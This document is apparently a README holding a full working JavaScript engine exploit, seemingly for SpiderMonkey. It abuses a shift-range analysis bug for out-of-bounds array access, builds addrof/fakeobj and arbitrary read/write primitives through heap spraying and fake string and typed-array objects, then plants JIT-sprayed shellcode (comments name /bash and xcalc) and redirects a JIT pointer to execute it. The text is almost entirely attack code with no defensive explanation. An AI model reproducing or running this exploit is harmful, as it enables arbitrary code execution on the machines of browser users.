README.md
Rendering markdown...
function opt(karr, arr) {
let objectKeysLength = Object.keys(karr).length;
// Expected: [0, 0x0fff_ffff]; Real: [0, 0x7fff_ffff]; Trigger: 0x1000_0000
let leftShift = objectKeysLength << 3;
// Expected: [0, 0x7fff_fff8]; Real: [0x8000_0000, 7fff_fff8]; Trigger: 0x8000_0000
let lowerBound = leftShift >> 31;
// Expected: [0, 0]; Real: [0xffff_ffff, 0]; Trigger: 0xffff_ffff (-1)
lowerBound *= 2 ** 30;
lowerBound *= 2;
for (let i = 1; i >= lowerBound; i--) {
if (i === 1 || i === lowerBound + 0x23dfffe || i === lowerBound + 0x23dffff) {
arr[i] = (i === lowerBound + 0x23dfffe) ? -3.10503470400478748708402393647E231 : -3.10503471629489554592565359544E231;
// flags, initializedLength, capacity, length
// 0xEFFFFFFF00000000, 0xEFFFFFFF021FFFFE
}
}
}
let arr = [];
for (let i = 0; i < 10000; i++) {
arr[i] = i + 0.1;
opt(arr, arr);
}
print("Preparing large array for Object.keys().length...");
for (let i = 0; i < (1 << 28); i++) {
arr[i] = i + 0.1;
}
let sprayRefArr = [];
const spray_count = 64;
for (let i = 0; i < spray_count; i++) {
print(`Heap spraying large array: ${i + 1} / ${spray_count}`);
let tmpArr;
if (i % 2 == 1) {
tmpArr = new Array(0x2000000);
tmpArr.fill(i + 0.1);
} else {
tmpArr = new BigUint64Array(0x2000000);
tmpArr.fill(BigInt(i));
}
sprayRefArr.push(tmpArr);
}
opt(arr, sprayRefArr[spray_count - 1]);
let bigIntArray = sprayRefArr[0];
let objArr = sprayRefArr[1];
print(`objArr.length: 0x${objArr.length.toString(16)}`);
if (objArr.length === 0x2000000) {
throw new Error("Heap spray failed!");
}
function addrof(obj) {
objArr[0x403fffe] = obj;
return bigIntArray[0];
}
function fakeobj(addr) {
bigIntArray[0] = addr;
return objArr[0x403fffe];
}
class Debug {
utility_buffer = new ArrayBuffer(8);
utility_buffer_float = new Float64Array(this.utility_buffer, 0, 1);
utility_buffer_int = new BigUint64Array(this.utility_buffer, 0, 1);
prototypeInit() {
let that = this;
BigInt.prototype.hex = function () {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function () { // int to float
that.utility_buffer_int[0] = this;
return that.utility_buffer_float[0];
}
BigInt.prototype.smi2f = function () { // smi to float
that.utility_buffer_int[0] = this << 32n;
return that.utility_buffer_float[0];
}
Number.prototype.hex = function () {
return BigInt(this).hex();
}
Number.prototype.i2f = function () { // int to float
return BigInt(this).i2f();
}
Number.prototype.smi2f = function () { // smi to float
return BigInt(this).smi2f();
}
Number.prototype.f2i = function () { // float to int
that.utility_buffer_float[0] = this;
return that.utility_buffer_int[0];
}
Number.prototype.f2smi = function () { // float to smi
that.utility_buffer_float[0] = this;
return that.utility_buffer_int[0] >> 32n;
}
Number.prototype.fhw = function () { // float high word (4 bytes)
that.utility_buffer_float[0] = this;
return that.utility_buffer_int[0] >> 32n;
}
Number.prototype.flw = function () { // float low word (4 bytes)
that.utility_buffer_float[0] = this;
return that.utility_buffer_int[0] & BigInt(2 ** 32 - 1);
}
Number.prototype.c2f = function (high, low) { // combined (two 4 bytes) word to float
that.utility_buffer_int[0] = low;
that.utility_buffer_int[1] = high;
return that.utility_buffer_float[0];
}
}
constructor() {
this.prototypeInit();
}
}
let debug = new Debug();
function unTagPtr(addr) {
return addr & ((1n << 47n) - 1n);
}
function tagObjectPtr(addr) {
return addr | ((0x1fff0n + 0xcn) << 47n);
}
function tagStringPtr(addr) {
return addr | ((0x1fff0n + 0x6n) << 47n);
}
let fakeArenaCellSetContainer = new BigUint64Array(16); // js::gc::ArenaCellSet::Empty
let fakeArenaCellSetContainerAddr = addrof(fakeArenaCellSetContainer);
let fakeArenaCellSetAddr = unTagPtr(fakeArenaCellSetContainerAddr) + 0x38n;
print(`fakeArenaCellSetAddr: 0x${fakeArenaCellSetAddr.toString(16)}`);
let fakeJSExternalStringContainer = [
fakeArenaCellSetAddr.i2f(),
0b00000000000000000000000000000001_0000000000000000_0000001_100010_000n.i2f(), // js::gc::CellWithLengthAndFlags.header_: flags, length
0x1234n.i2f() // JSString.d.s.u2.nonInlineCharsLatin1
];
let fakeJSExternalStringContainerAddr = addrof(fakeJSExternalStringContainer);
print(`fakeJSExternalStringContainerAddr: 0x${fakeJSExternalStringContainerAddr.toString(16)}`);
let fakeJSExternalStringAddr = tagStringPtr(unTagPtr(fakeJSExternalStringContainerAddr) + 0x30n);
print(`fakeJSExternalStringAddr: 0x${fakeJSExternalStringAddr.toString(16)}`);
let fakeStr = fakeobj(fakeJSExternalStringAddr);
function unstable_read8(addr) {
fakeJSExternalStringContainer[2] = addr.i2f();
return BigInt(fakeStr[0].charCodeAt(0));
}
function unstable_read64(addr) {
let result = 0n;
for (let i = 7n; i >= 0n; i--) {
result *= 0x100n;
result += unstable_read8(addr + i);
}
return result;
}
let fakeBigUint64ArrayContainer = fakeArenaCellSetContainer;
let fakeBigUint64ArrayContainerAddr = addrof(fakeBigUint64ArrayContainer);
print(`fakeBigUint64ArrayContainerAddr: 0x${fakeBigUint64ArrayContainerAddr.toString(16)}`);
for (let i = 0n; i < 4n; i++) {
fakeBigUint64ArrayContainer[i] = unstable_read64(unTagPtr(fakeBigUint64ArrayContainerAddr) + i * 8n);
}
fakeBigUint64ArrayContainer[4] = 0x7fff_ffffn;
fakeBigUint64ArrayContainer[5] = 0n;
fakeBigUint64ArrayContainer[6] = 0x1234n;
let fakeBigUint64ArrayAddr = unstable_read64(unTagPtr(fakeBigUint64ArrayContainerAddr) + 0x30n);
print(`fakeBigUint64ArrayAddr: 0x${fakeBigUint64ArrayAddr.toString(16)}`);
let fakeBigUint64Array = fakeobj(tagObjectPtr(fakeBigUint64ArrayAddr));
function read64(addr) {
fakeBigUint64ArrayContainer[6] = addr;
return fakeBigUint64Array[0];
}
function write64(addr, value) {
fakeBigUint64ArrayContainer[6] = addr;
fakeBigUint64Array[0] = value;
}
fakeStr = undefined;
function shellcode() {
find_me = 5.40900888e-315; // 0x41414141 in memory
A = -6.828527034422786e-229; // 0x9090909090909090
B = 1.0880924772192582856330718795E-306; // /bash
// 8.568532312320605e+170; // /xcalc
C = 1.4813365150669252e+248;
D = -6.032447120847604e-264;
E = -6.0391189260385385e-264;
F = 1.0842822352493598e-25;
G = 9.241363425014362e+44;
H = 2.2104256869204514e+40;
I = 2.4929675059396527e+40;
J = 3.2459699498717e-310;
K = 1.637926e-318;
}
print("Training shellcode function...");
for (let i = 0; i < 0x5000; i++) shellcode();
let shellcodeFunctionAddr = addrof(shellcode);
print(`shellcodeFunctionAddr: 0x${shellcodeFunctionAddr.toString(16)}`);
let JSJitInfoAddr = read64(unTagPtr(shellcodeFunctionAddr) + 0x28n);
print(`JSJitInfoAddr: 0x${JSJitInfoAddr.toString(16)}`);
let RXRegionAddr = read64(JSJitInfoAddr);
print(`RXRegionAddr: 0x${RXRegionAddr.toString(16)}`);
let findShellcodeFlag = false;
for (let i = 0n; i < 0x200n; i++) {
let data = read64(RXRegionAddr);
if (data === 0x41414141n) {
findShellcodeFlag = true;
break;
}
RXRegionAddr += 8n;
}
if (!findShellcodeFlag) {
throw new Error("Unable to find shellcode!");
}
RXRegionAddr += 8n;
print(`ShellcodeAddr: 0x${RXRegionAddr.toString(16)}`);
write64(JSJitInfoAddr, RXRegionAddr);
print("Triggering shellcode...");
shellcode();